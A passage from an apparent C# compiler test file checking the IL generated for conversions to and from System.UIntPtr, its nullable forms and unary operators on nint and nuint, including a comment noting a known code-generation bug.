conversions(sourceType: "System.UIntPtr?", destType: "byte", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u1"), expectedCheckedIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u1.un"));
conversions(sourceType: "System.UIntPtr?", destType: "short", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.i2"), expectedCheckedIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i2.un"));
conversions(sourceType: "System.UIntPtr?", destType: "ushort", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u2.un"));
conversions(sourceType: "System.UIntPtr?", destType: "int", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)"), expectedCheckedIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i4.un"));
conversions(sourceType: "System.UIntPtr?", destType: "uint", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)"));
conversions(sourceType: "System.UIntPtr?", destType: "long", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.UIntPtr", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)"), expectedCheckedIL: convAndExplicitFromNullableT("System.UIntPtr", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i8.un"));
conversions(sourceType: "System.UIntPtr?", destType: "ulong", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.UIntPtr", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)"));
conversions(sourceType: "System.UIntPtr?", destType: "float", expectedImplicitIL: null,
@"{
// Code size 15 (0xf)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""System.UIntPtr System.UIntPtr?.Value.get""
IL_0007: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_000c: conv.r.un
IL_000d: conv.r4
IL_000e: ret
}");
conversions(sourceType: "System.UIntPtr?", destType: "double", expectedImplicitIL: null,
@"{
// Code size 15 (0xf)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""System.UIntPtr System.UIntPtr?.Value.get""
IL_0007: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_000c: conv.r.un
IL_000d: conv.r8
IL_000e: ret
}");
conversions(sourceType: "System.UIntPtr?", destType: "decimal", expectedImplicitIL: null,
@"{
// Code size 18 (0x12)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""System.UIntPtr System.UIntPtr?.Value.get""
IL_0007: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_000c: call ""decimal decimal.op_Implicit(ulong)""
IL_0011: ret
}");
conversions(sourceType: "System.UIntPtr?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL:
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""System.UIntPtr System.UIntPtr?.Value.get""
IL_0007: ret
}");
conversions(sourceType: "System.UIntPtr?", destType: "bool?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr?", destType: "char?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "char", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitFromToNullableT("System.UIntPtr", "char", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u2.un"));
conversions(sourceType: "System.UIntPtr?", destType: "sbyte?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "sbyte", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.i1"), expectedCheckedIL: convAndExplicitFromToNullableT("System.UIntPtr", "sbyte", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i1.un"));
conversions(sourceType: "System.UIntPtr?", destType: "byte?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "byte", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u1"), expectedCheckedIL: convAndExplicitFromToNullableT("System.UIntPtr", "byte", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u1.un"));
conversions(sourceType: "System.UIntPtr?", destType: "short?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "short", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.i2"), expectedCheckedIL: convAndExplicitFromToNullableT("System.UIntPtr", "short", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i2.un"));
conversions(sourceType: "System.UIntPtr?", destType: "ushort?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "ushort", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitFromToNullableT("System.UIntPtr", "ushort", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u2.un"));
conversions(sourceType: "System.UIntPtr?", destType: "int?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "int", "uint System.UIntPtr.op_Explicit(System.UIntPtr)"), expectedCheckedIL: convAndExplicitFromToNullableT("System.UIntPtr", "int", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i4.un"));
conversions(sourceType: "System.UIntPtr?", destType: "uint?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "uint", "uint System.UIntPtr.op_Explicit(System.UIntPtr)"));
conversions(sourceType: "System.UIntPtr?", destType: "long?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "long", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)"), expectedCheckedIL: convAndExplicitFromToNullableT("System.UIntPtr", "long", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i8.un"));
conversions(sourceType: "System.UIntPtr?", destType: "ulong?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "ulong", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)"));
conversions(sourceType: "System.UIntPtr?", destType: "float?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "float", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.r4"));
conversions(sourceType: "System.UIntPtr?", destType: "double?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "double", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.r8"));
conversions(sourceType: "System.UIntPtr?", destType: "decimal?", expectedImplicitIL: null,
@"{
// Code size 39 (0x27)
.maxstack 1
.locals init (System.UIntPtr? V_0,
decimal? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool System.UIntPtr?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""decimal?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""System.UIntPtr System.UIntPtr?.GetValueOrDefault()""
IL_001c: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_0021: newobj ""decimal?..ctor(decimal)""
IL_0026: ret
}");
conversions(sourceType: "System.UIntPtr?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr?", destType: "System.UIntPtr?", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "object", destType: "System.UIntPtr", expectedImplicitIL: null,
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: unbox.any ""System.UIntPtr""
IL_0006: ret
}");
conversions(sourceType: "string", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "void*", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(void*)"));
conversions(sourceType: "bool", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "sbyte", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "byte", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "short", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "ushort", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "int", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "uint", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "long", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)"), expectedCheckedIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "ulong", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)"));
conversions(sourceType: "float", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.u8"), expectedCheckedIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "double", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.u8"), expectedCheckedIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "decimal", destType: "System.UIntPtr", expectedImplicitIL: null,
@"{
// Code size 12 (0xc)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong decimal.op_Explicit(decimal)""
IL_0006: call ""System.UIntPtr System.UIntPtr.op_Explicit(ulong)""
IL_000b: ret
}");
conversions(sourceType: "bool", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "sbyte", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "byte", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "short", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "ushort", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "int", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "uint", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "long", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)"), expectedCheckedIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "ulong", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)"));
conversions(sourceType: "float", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.u8"), expectedCheckedIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "double", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.u8"), expectedCheckedIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "decimal", destType: "System.UIntPtr?", expectedImplicitIL: null,
@"{
// Code size 17 (0x11)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong decimal.op_Explicit(decimal)""
IL_0006: call ""System.UIntPtr System.UIntPtr.op_Explicit(ulong)""
IL_000b: newobj ""System.UIntPtr?..ctor(System.UIntPtr)""
IL_0010: ret
}");
conversions(sourceType: "bool?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("char", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "sbyte?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("sbyte", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvFromNullableT("sbyte", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "byte?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("byte", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "short?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("short", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvFromNullableT("short", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "ushort?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("ushort", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "int?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("int", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvFromNullableT("int", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "uint?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("uint", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "long?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("long", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)"), expectedCheckedIL: explicitAndConvFromNullableT("long", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "ulong?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("ulong", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)"));
conversions(sourceType: "float?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("float", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.u8"), expectedCheckedIL: explicitAndConvFromNullableT("float", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "double?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("double", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.u8"), expectedCheckedIL: explicitAndConvFromNullableT("double", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "decimal?", destType: "System.UIntPtr", expectedImplicitIL: null,
@"{
// Code size 18 (0x12)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""decimal decimal?.Value.get""
IL_0007: call ""ulong decimal.op_Explicit(decimal)""
IL_000c: call ""System.UIntPtr System.UIntPtr.op_Explicit(ulong)""
IL_0011: ret
}");
conversions(sourceType: "bool?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("char", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "sbyte?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("sbyte", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvFromToNullableT("sbyte", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "byte?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("byte", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "short?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("short", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvFromToNullableT("short", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "ushort?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("ushort", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "int?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("int", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvFromToNullableT("int", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "uint?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("uint", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "long?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("long", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvFromToNullableT("long", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "ulong?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("ulong", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)"));
conversions(sourceType: "float?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("float", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.u8"), expectedCheckedIL: explicitAndConvFromToNullableT("float", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "double?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("double", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.u8"), expectedCheckedIL: explicitAndConvFromToNullableT("double", "System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
// https://github.com/dotnet/roslyn/issues/42834: Invalid code generated for nullable conversions
// involving System.[U]IntPtr: the conversion ulong decimal.op_Explicit(decimal) is dropped.
conversions(sourceType: "decimal?", destType: "System.UIntPtr?", expectedImplicitIL: null,
@"{
// Code size 39 (0x27)
.maxstack 1
.locals init (decimal? V_0,
System.UIntPtr? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool decimal?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""System.UIntPtr?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""decimal decimal?.GetValueOrDefault()""
IL_001c: call ""System.UIntPtr System.UIntPtr.op_Explicit(ulong)""
IL_0021: newobj ""System.UIntPtr?..ctor(System.UIntPtr)""
IL_0026: ret
}");
void convert(string sourceType,
string destType,
string expectedIL,
bool skipTypeChecks,
bool useExplicitCast,
bool useChecked,
bool verify,
ErrorCode expectedErrorCode)
{
bool useUnsafeContext = useUnsafe(sourceType) || useUnsafe(destType);
string value = "value";
if (useExplicitCast)
{
value = $"({destType})value";
}
var expectedDiagnostics = expectedErrorCode == 0 ?
Array.Empty<DiagnosticDescription>() :
new[] { Diagnostic(expectedErrorCode, value).WithArguments(sourceType, destType) };
if (useChecked)
{
value = $"checked({value})";
}
string source =
$@"class Program
{{
static {(useUnsafeContext ? "unsafe " : "")}{destType} Convert({sourceType} value)
{{
return {value};
}}
}}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseDll.WithAllowUnsafe(useUnsafeContext), parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(expectedDiagnostics);
var tree = comp.SyntaxTrees[0];
var model = comp.GetSemanticModel(tree);
var expr = tree.GetRoot().DescendantNodes().OfType<ReturnStatementSyntax>().Single().Expression;
var typeInfo = model.GetTypeInfo(expr);
if (!skipTypeChecks)
{
Assert.Equal(sourceType, typeInfo.Type.ToString());
Assert.Equal(destType, typeInfo.ConvertedType.ToString());
}
if (expectedIL != null)
{
var verifier = CompileAndVerify(comp, verify: useUnsafeContext || !verify ? Verification.Skipped : Verification.Passes);
verifier.VerifyIL("Program.Convert", expectedIL);
}
static bool useUnsafe(string type) => type == "void*";
}
}
[Fact]
public void UnaryOperators()
{
static string getComplement(uint value)
{
object result = (IntPtr.Size == 4) ?
(object)~value :
(object)~(ulong)value;
return result.ToString();
}
void unaryOp(string op, string opType, string expectedSymbol = null, string operand = null, string expectedResult = null, string expectedIL = "", DiagnosticDescription diagnostic = null)
{
operand ??= "default";
if (expectedSymbol == null && diagnostic == null)
{
diagnostic = Diagnostic(ErrorCode.ERR_BadUnaryOp, $"{op}operand").WithArguments(op, opType);
}
unaryOperator(op, opType, opType, expectedSymbol, operand, expectedResult, expectedIL, diagnostic != null ? new[] { diagnostic } : Array.Empty<DiagnosticDescription>());
}
unaryOp("+", "nint", "nint nint.op_UnaryPlus(nint value)", "3", "3",
@"{
// Code size 2 (0x2)
.maxstack 1
IL_0000: ldarg.0
IL_0001: ret
}");
unaryOp(" + ", "nuint", "nuint nuint.op_UnaryPlus(nuint value)", "3", "3",
@"{
// Code size 2 (0x2)
.maxstack 1
IL_0000: ldarg.0
IL_0001: ret
}");
unaryOp("+", "System.IntPtr");
unaryOp("+", "System.UIntPtr");
unaryOp("-", "nint", "nint nint.op_UnaryNegation(nint value)", "3", "-3",
@"{
// Code size 3 (0x3)
.maxstack 1
IL_0000: ldarg.0
IL_0001: neg
IL_0002: ret
}");
unaryOp("-", "nuint");
unaryOp("-", "System.IntPtr");
unaryOp("-", "System.UIntPtr");
unaryOp("!", "nint");
unaryOp("!", "nuint");
unaryOp("!", "System.IntPtr");
unaryOp("!", "System.UIntPtr");
unaryOp("~", "nint", "nint nint.op_OnesComplement(nint value)", "3", "-4",
@"{
// Code size 3 (0x3)
.maxstack 1
IL_0000: ldarg.0
IL_0001: not
IL_0002: ret
}");
unaryOp("~", "nuint", "nuint nuint.op_OnesComplement(nuint value)", "3", getComplement(3),
@"{
// Code size 3 (0x3)
.maxstack 1
IL_0000: ldarg.0
IL_0001: not
IL_0002: ret
}");
unaryOp("~", "System.IntPtr");
unaryOp("~", "System.UIntPtr");
unaryOp("+", "nint?", "nint nint.op_UnaryPlus(nint value)", "3", "3",
@"{
// Code size 34 (0x22)
.maxstack 1
.locals init (nint? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nint?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""nint?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""nint nint?.GetValueOrDefault()""
IL_001c: newobj ""nint?..ctor(nint)""
IL_0021: ret
}");
unaryOp("+", "nuint?", "nuint nuint.op_UnaryPlus(nuint value)", "3", "3",
@"{
// Code size 34 (0x22)
.maxstack 1
.locals init (nuint? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nuint?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""nuint?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""nuint nuint?.GetValueOrDefault()""
IL_001c: newobj ""nuint?..ctor(nuint)""
IL_0021: ret
}");
unaryOp("+", "System.IntPtr?");
unaryOp("+", "System.UIntPtr?");
unaryOp("-", "nint?", "nint nint.op_UnaryNegation(nint value)", "3", "-3",
@"{
// Code size 35 (0x23)
.maxstack 1
.locals init (nint? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nint?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""nint?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""nint nint?.GetValueOrDefault()""
IL_001c: neg
IL_001d: newobj ""nint?..ctor(nint)""
IL_0022: ret
}");
// Reporting ERR_AmbigUnaryOp for `-(nuint?)value` is inconsistent with the ERR_BadUnaryOp reported
// for `-(nuint)value`, but that difference in behavior is consistent with the pair of errors reported for
// `-(ulong?)value` and `-(ulong)value`. See the "Special case" in Binder.UnaryOperatorOverloadResolution()
// which handles ulong but not ulong?.
unaryOp("-", "nuint?", null, null, null, null, Diagnostic(ErrorCode.ERR_AmbigUnaryOp, "-operand").WithArguments("-", "nuint?"));
unaryOp("-", "System.IntPtr?");
unaryOp("-", "System.UIntPtr?");
unaryOp("!", "nint?");
unaryOp("!", "nuint?");
unaryOp("!", "System.IntPtr?");
unaryOp("!", "System.UIntPtr?");
unaryOp("~", "nint?", "nint nint.op_OnesComplement(nint value)", "3", "-4",
@"{
// Code size 35 (0x23)
.maxstack 1
.locals init (nint? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
